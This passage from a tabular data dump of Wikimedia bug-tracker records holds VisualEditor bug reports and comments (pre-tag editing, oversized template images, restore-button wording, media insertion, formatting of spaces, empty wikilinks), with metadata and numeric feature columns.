I have no clue how to launch the tests though. Maybe we just have to use /usr/bin/sikuli ?",,,1387289374,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,9.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,13.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,7.0,11.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8,"Good news: sikuli has been packaged for Debian/Ubuntu. There is a package libsikuli-script-java which seems to provide the needed material:

URL

I have no clue how to launch the tests though. Maybe we just have to use /usr/bin/sikuli ?"
251167,Add Sikuli to the machines that run browser tests,"Change 83966 had a related patch set uploaded by Zfilipin:
[WIP] [Browser test] Testing typing in VisualEditor

https://gerrit.wikimedia.org/r/83966",,,1387288509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.28,0.92,"Change 83966 had a related patch set uploaded by Zfilipin:
[WIP] [Browser test] Testing typing in VisualEditor

GERRIT_URL"
251161,Add Sikuli to the machines that run browser tests,Moving from CI to QA,,,1379709008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.2,1.0,Moving from CI to QA
56382,VisualEditor: Behaviour of <pre> tags,"VE allows editing text between <pre>...</pre> tags.
That is, you seem to be able, for example, to add working wikilinks and references. Once you save though, everything is rendered as wikicode, as in [[France]] and <ref>France</ref>, and of course is not clickable.
Thryduulf argues that ""VE shouldn't show it as working if it won't work after saving"".

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1379694480,1415881409.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6las75m7yq6t6y42jony,task_description,invalid,True,c1,3,False,False,False,11,,0.0,0.5,0.0,0.5,3.0,4.0,1.5,0.0,0.5,1.0,2.5,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,1.5,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,4.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,5.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.5931372549019605,0.7279411764705883,"VE allows editing text between <pre>...</pre> tags.
That is, you seem to be able, for example, to add working wikilinks and references. Once you save though, everything is rendered as wikicode, as in [[France]] and <ref>France</ref>, and of course is not clickable.
Thryduulf argues that ""VE shouldn't show it as working if it won't work after saving"".

--------------------------
**Version**: unspecified
**Severity**: normal"
250402,VisualEditor: Behaviour of <pre> tags,"Content that is pre-formatted is not wrapped in <pre> tags but with space-indented-preformatting, which does work with wikitext structures.",,,1415881409,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6las75m7yq6t6y42jony,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,4.172413793103448,0.8275862068965517,"Content that is pre-formatted is not wrapped in <pre> tags but with space-indented-preformatting, which does work with wikitext structures."
56371,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"In some templates (e.g. Template:Infobox fornminne) on Swedish Wikipedia, the image in it is shown in full size when you enter VE. 

Article: https://sv.wikipedia.org/wiki/S%C3%B6dermanlands_runinskrifter_305
Screencast: https://dl.dropboxusercontent.com/u/8363895/out-8.ogv

It does not behave like that for all templates though. In an article with Template:Kommunfakta is seems to work fine. E.g. https://sv.wikipedia.org/wiki/Botkyrka_kommun

Behaviour is observed from two different users and in both Firefox and Chromium.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1379671920,1380930193.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-um6o7aq2fxsloslxu5y5,task_description,resolved,True,c1,3,False,False,False,11,,2.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.0,22.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,11.0,14.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.010416666666667,0.6875,"In some templates (e.g. Template:Infobox fornminne) on Swedish Wikipedia, the image in it is shown in full size when you enter VE. 

Article: URL
Screencast: URL

It does not behave like that for all templates though. In an article with Template:Kommunfakta is seems to work fine. E.g. URL

Behaviour is observed from two different users and in both Firefox and Chromium.

--------------------------
**Version**: unspecified
**Severity**: major"
249835,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Given the above comment and lack of further reports, I'm marking this as a duplicate of bug 51628

*** This bug has been marked as a duplicate of bug 51628 ***",,,1380930193,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.4210526315789473,0.6578947368421053,"Given the above comment and lack of further reports, I'm marking this as a duplicate of bug 51628

*** This bug has been marked as a duplicate of bug 51628 ***"
249833,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Yes probably, I did did this change: 

https://sv.wikipedia.org/w/index.php?title=Mall:Infobox_fornminne&diff=prev&oldid=23823659

and now it seems to behave correctly in articles using that template. If I find the same error on other articles, I'll try to se if this is it first.",,,1380026528,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4130434782608696,0.782608695652174,"Yes probably, I did did this change: 

URL

and now it seems to behave correctly in articles using that template. If I find the same error on other articles, I'll try to se if this is it first."
249830,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Could this be bug 51628? i.e. an image size being specified as e.g. ""250px"" in a field that is expecting e.g. ""250""

It seems very likely but I can't read the Swedish source code to check.",,,1380024894,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,5.0,7.0,0.0,2.0,9.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,3.5,0.9090909090909091,"Could this be bug 51628? i.e. an image size being specified as e.g. ""250px"" in a field that is expecting e.g. ""250""

It seems very likely but I can't read the Swedish source code to check."
56329,VisualEditor: Consistency when restoring a page,"<<[...] When you edit an old version of a page, you get the ""save page"" at the top of the page, but a ""restore page"" button instead of the ""save page"" button at the edit summary page, even if you have made changes in the older version (and thus aren't simply restoring it). Why we have two different buttons (save and restore), when we have only one name otherwise, isn't clear. Beneath the ""restore page "" button, the small text says ""By clicking the ""save page"" button, you agree..."". It doesn't indicate what I agree to by clicking the ""restore page"" button though... Fram (talk) 14:08, 19 September 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1379602800,1383767339.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-yofovlast3zou4zon7j5,task_description,declined,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,1.5,4.5,0.5,0.0,0.5,0.5,2.0,1.5,0.0,0.5,0.0,1.5,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.0,0.5,1.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,7.0,1.0,6.5,2.0,1.5,7.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,5.0,6.0,2.0,0.0,7.5,0.0,5.0,0.0,2.0,1.5,0.0,1.5,0.5,0.0,2.5,3.3808481532147745,0.5790013679890561,"<<[...] When you edit an old version of a page, you get the ""save page"" at the top of the page, but a ""restore page"" button instead of the ""save page"" button at the edit summary page, even if you have made changes in the older version (and thus aren't simply restoring it). Why we have two different buttons (save and restore), when we have only one name otherwise, isn't clear. Beneath the ""restore page "" button, the small text says ""By clicking the ""save page"" button, you agree..."". It doesn't indicate what I agree to by clicking the ""restore page"" button though... Fram (talk) 14:08, 19 September 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: normal"
247427,VisualEditor: Consistency when restoring a page,Reminding the user that they are editing from an old version and restoring it (with any changes they have made) over the top of the current version of the page is intentional. WONTFIXing.,,,1383767339,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yofovlast3zou4zon7j5,task_subcomment,,True,c1,3,True,,,18,,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,5.0,5.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,11.0,0.0,0.0,0.0,4.1891891891891895,0.8108108108108109,Reminding the user that they are editing from an old version and restoring it (with any changes they have made) over the top of the current version of the page is intentional. WONTFIXing.
56301,VisualEditor: blue template overlay overlaps other page elements,"Try clicking the commons template in https://pl.wikipedia.org/wiki/Omega_Centauri?veaction=edit for an example. This bug appeared a while back, and seems to have regressed.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50970",Needs Triage,90.0,1379555760,1402294829.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.576923076923077,0.6538461538461539,"Try clicking the commons template in URL for an example. This bug appeared a while back, and seems to have regressed.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
245737,VisualEditor: blue template overlay overlaps other page elements,"

*** This bug has been marked as a duplicate of bug 51933 ***",,,1402294829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51933 ***"
245731,VisualEditor: blue template overlay overlaps other page elements,This is because we wrap generated content in a div for ease of replacement. Arguably we shouldn't.,,,1379696782,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.1,0.9,This is because we wrap generated content in a div for ease of replacement. Arguably we shouldn't.
56285,VisualEditor: Media items are inserted after selection and do not replace them,"**Author:** `renukaalurkar`

**Description:**
1)Log into http://en.wikipedia.beta.wmflabs.org
2)Go to your user page
3)Click on Edit beta tab
4)Click on More
5)Click Media
6)Enter santa claus, select a image from the selection of images
7)Select the image(the image is displayed in light blue)
8)Again click on More, then Media and select another image.

Expected:The original/old image should be replaced by the new image.
Observed: The new image is added and the original image is also displayed.

Another observation: Also, suppose there are 4 images Image1, Image2, Image3, Image4 one below the other. If Image2 is selected and I try to replace it with a new image, the new image appears in the place of Image3(instead of Image2).

Observed on Firefox and Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51033",Needs Triage,90.0,1379530500,1380657485.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ql37zwei7lw6idcpnjvx,task_description,declined,True,c1,3,False,False,False,11,,0.0,0.0,0.0,2.5,0.0,7.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,9.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,2.5,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.5,3.0,16.5,0.5,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.5,9.0,6.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.7157894736842105,0.6210526315789473,"**Author:** CODE

**Description:**
1)Log into URL
2)Go to your user page
3)Click on Edit beta tab
4)Click on More
5)Click Media
6)Enter santa claus, select a image from the selection of images
7)Select the image(the image is displayed in light blue)
8)Again click on More, then Media and select another image.

Expected:The original/old image should be replaced by the new image.
Observed: The new image is added and the original image is also displayed.

Another observation: Also, suppose there are 4 images Image1, Image2, Image3, Image4 one below the other. If Image2 is selected and I try to replace it with a new image, the new image appears in the place of Image3(instead of Image2).

Observed on Firefox and Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
244706,VisualEditor: Media items are inserted after selection and do not replace them,"Yes, confirming that this is intentional; closing as ""WONTFIX"". I agree that changing in line with bug 51033 would make more sense.",,,1380657485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ql37zwei7lw6idcpnjvx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,14.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,18.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,3.9285714285714284,0.8928571428571429,"Yes, confirming that this is intentional; closing as ""WONTFIX"". I agree that changing in line with bug 51033 would make more sense."
244702,VisualEditor: Media items are inserted after selection and do not replace them,"I can confirm this is the current behaviour, and that both points are due to the same reason: new images are inserted immediately after a selected image.

However I'm not sure that this behaviour is incorrect though as it is consistent with what happens when a user inserts media or a template with text selected (the template/media is inserted after the selection rather than overwriting it) - see bug 52460.

There is an open request for the media settings dialog to allow an image to be easily changed though (bug 51033), which I think is a better way to handle this.",,,1380657191,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ql37zwei7lw6idcpnjvx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,2.0,0.5,5.0,3.0,0.0,1.5,0.0,1.0,0.5,0.0,0.0,1.0,2.0,1.0,5.0,8.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,7.5,2.0,1.5,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.5,14.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,7.5,6.0,3.0,1.5,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,3.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,4.0,0.0,1.0,1.0,0.0,0.0,4.068965517241379,0.8017241379310345,"I can confirm this is the current behaviour, and that both points are due to the same reason: new images are inserted immediately after a selected image.

However I'm not sure that this behaviour is incorrect though as it is consistent with what happens when a user inserts media or a template with text selected (the template/media is inserted after the selection rather than overwriting it) - see bug 52460.

There is an open request for the media settings dialog to allow an image to be easily changed though (bug 51033), which I think is a better way to handle this."
56270,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"Which is something like '' this '' as opposed to something like ''that''. Of course this is also true for the source editor, but since the wikilink tool already gets rid of spaces at the beginning or at the end of a word, I wanted to make sure this can/should also be done when just formatting it (and it's being requested).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1379509800,1383767551.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mlek6l25jsi4523n6c4x,task_description,resolved,True,c1,3,False,False,False,11,,0.0,2.0,0.0,2.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,8.0,14.0,2.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7333333333333334,0.7,"Which is something like '' this '' as opposed to something like ''that''. Of course this is also true for the source editor, but since the wikilink tool already gets rid of spaces at the beginning or at the end of a word, I wanted to make sure this can/should also be done when just formatting it (and it's being requested).

--------------------------
**Version**: unspecified
**Severity**: normal"
243841,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"This will be fixed by bug 52037.

*** This bug has been marked as a duplicate of bug 52037 ***",,,1383767551,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mlek6l25jsi4523n6c4x,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.923076923076923,0.6538461538461539,"This will be fixed by bug 52037.

*** This bug has been marked as a duplicate of bug 52037 ***"
243836,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"User Steven at fr.wp asks that VE somehow recognizes and avoids that formatting is applied to spaces, since this results in ugly wikitext.
He suggests that spaces get highlighted so that people can easily recognize them; they might become black (when ""bold"" is applied) or grey (when ""italics"" is applied).",,,1382971506,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mlek6l25jsi4523n6c4x,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,13.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,13.0,6.0,0.0,6.0,0.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,4.095238095238095,0.7619047619047619,"User Steven at fr.wp asks that VE somehow recognizes and avoids that formatting is applied to spaces, since this results in ugly wikitext.
He suggests that spaces get highlighted so that people can easily recognize them; they might become black (when ""bold"" is applied) or grey (when ""italics"" is applied)."
56266,VisualEditor: prevent creating internal links with no displayed text or warn this is happening,"It is not easy, but you can create an empty wikilink with VE, https://en.wikipedia.org/w/index.php?title=Ascending_cholangitis&curid=5544827&diff=572776141&oldid=566427601 (I was able to reproduce that somehow, I think I just added the link to an empty space).
I can't imagine a situation where this is desirable or useful, please correct me if I am wrong.
Thanks.

--------------------------
**Version**: unspecified
